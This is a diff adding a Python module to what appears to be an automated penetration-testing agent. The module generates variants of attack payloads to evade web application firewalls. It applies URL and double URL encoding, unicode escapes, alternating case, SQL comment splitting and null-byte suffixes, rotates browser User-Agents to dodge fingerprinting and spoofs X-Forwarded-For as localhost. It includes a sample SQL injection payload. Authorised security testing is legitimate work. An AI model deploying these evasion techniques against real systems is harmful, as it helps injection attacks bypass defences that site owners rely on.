shadowcat 2.0.0__py3-none-any.whl

backend/waf/evasion.py

@@ -0,0 +1,117 @@
+"""Payload mutation for WAF evasion.
+
+Generates encoding and syntactic variants of a test payload so the agent can
+try alternatives when a WAF blocks the canonical form. The oracle evaluates only
+variants that received a non-blocked (non-403/429) response.
+
+Usage::
+
+    from backend.waf.evasion import mutate, browser_headers
+
+    variants = mutate("' OR '1'='1")
+    headers  = browser_headers(index=0)   # rotate index per request
+"""
+
+from __future__ import annotations
+
+import re
+import urllib.parse
+
+# Browser User-Agent pool — rotated per request to avoid UA fingerprinting.
+_USER_AGENTS = [
+    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
+    "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_4_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
+    "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0",
+    "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
+    "Mozilla/5.0 (Macintosh; Intel Mac OS X 14.4; rv:125.0) Gecko/20100101 Firefox/125.0",
+]
+
+_BROWSER_COMMON = {
+    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
+    "Accept-Language": "en-US,en;q=0.9",
+    "Accept-Encoding": "gzip, deflate, br",
+    "Connection": "keep-alive",
+}
+
+# SQL keywords that benefit from comment-injection splitting.
+_SQL_KEYWORDS = re.compile(
+    r"\b(SELECT|UNION|INSERT|UPDATE|DELETE|DROP|WHERE|FROM|AND|OR|HAVING|ORDER|GROUP)\b",
+    re.IGNORECASE,
+)
+
+
+def browser_headers(index: int = 0) -> dict[str, str]:
+    """Return browser-like headers.  Rotate *index* per request for UA diversity."""
+    return {
+        "User-Agent": _USER_AGENTS[index % len(_USER_AGENTS)],
+        "X-Forwarded-For": "127.0.0.1",
+        **_BROWSER_COMMON,
+    }
+
+
+def mutate(payload: str) -> list[str]:
+    """Return encoding/syntactic variants of *payload* for WAF bypass.
+
+    The canonical payload is always first; subsequent entries are tried only
+    when the canonical attempt is blocked (403/406/429).
+    """
+    variants: list[str] = [payload]
+
+    def _add(v: str) -> None:
+        if v and v not in variants:
+            variants.append(v)
+
+    # URL-encode special chars (' < > " space)
+    url_enc = urllib.parse.quote(payload, safe="=&+")
+    _add(url_enc)
+
+    # Double URL-encode (%27 → %2527)
+    double_enc = url_enc.replace("%", "%25")
+    _add(double_enc)
+
+    # Unicode escapes for common injection chars
+    _add(
+        payload.replace("'", "\\u0027")
+        .replace('"', "\\u0022")
+        .replace("<", "\\u003C")
+        .replace(">", "\\u003E")
+    )
+
+    # Alternating-case (breaks keyword blocklists)
+    _add(_alternating_case(payload))
+
+    # SQL comment injection: SELECT → SE/**/LECT
+    _add(_comment_split(payload))
+
+    # Null-byte suffix (some WAF parsers stop at %00)
+    _add(payload + "%00")
+
+    # HTML entity encoding for XSS payloads
+    _add(
+        payload.replace("<", "&lt;")
+        .replace(">", "&gt;")
+        .replace('"', "&quot;")
+        .replace("'", "&#39;")
+    )
+
+    return variants
+
+
+def _alternating_case(s: str) -> str:
+    result, upper = [], True
+    for ch in s:
+        if ch.isalpha():
+            result.append(ch.upper() if upper else ch.lower())
+            upper = not upper
+        else:
+            result.append(ch)
+    return "".join(result)
+
+
+def _comment_split(s: str) -> str:
+    def _split_kw(m: re.Match[str]) -> str:
+        kw = m.group(0)
+        mid = len(kw) // 2
+        return str(kw[:mid] + "/**/" + kw[mid:])
+
+    return _SQL_KEYWORDS.sub(_split_kw, s)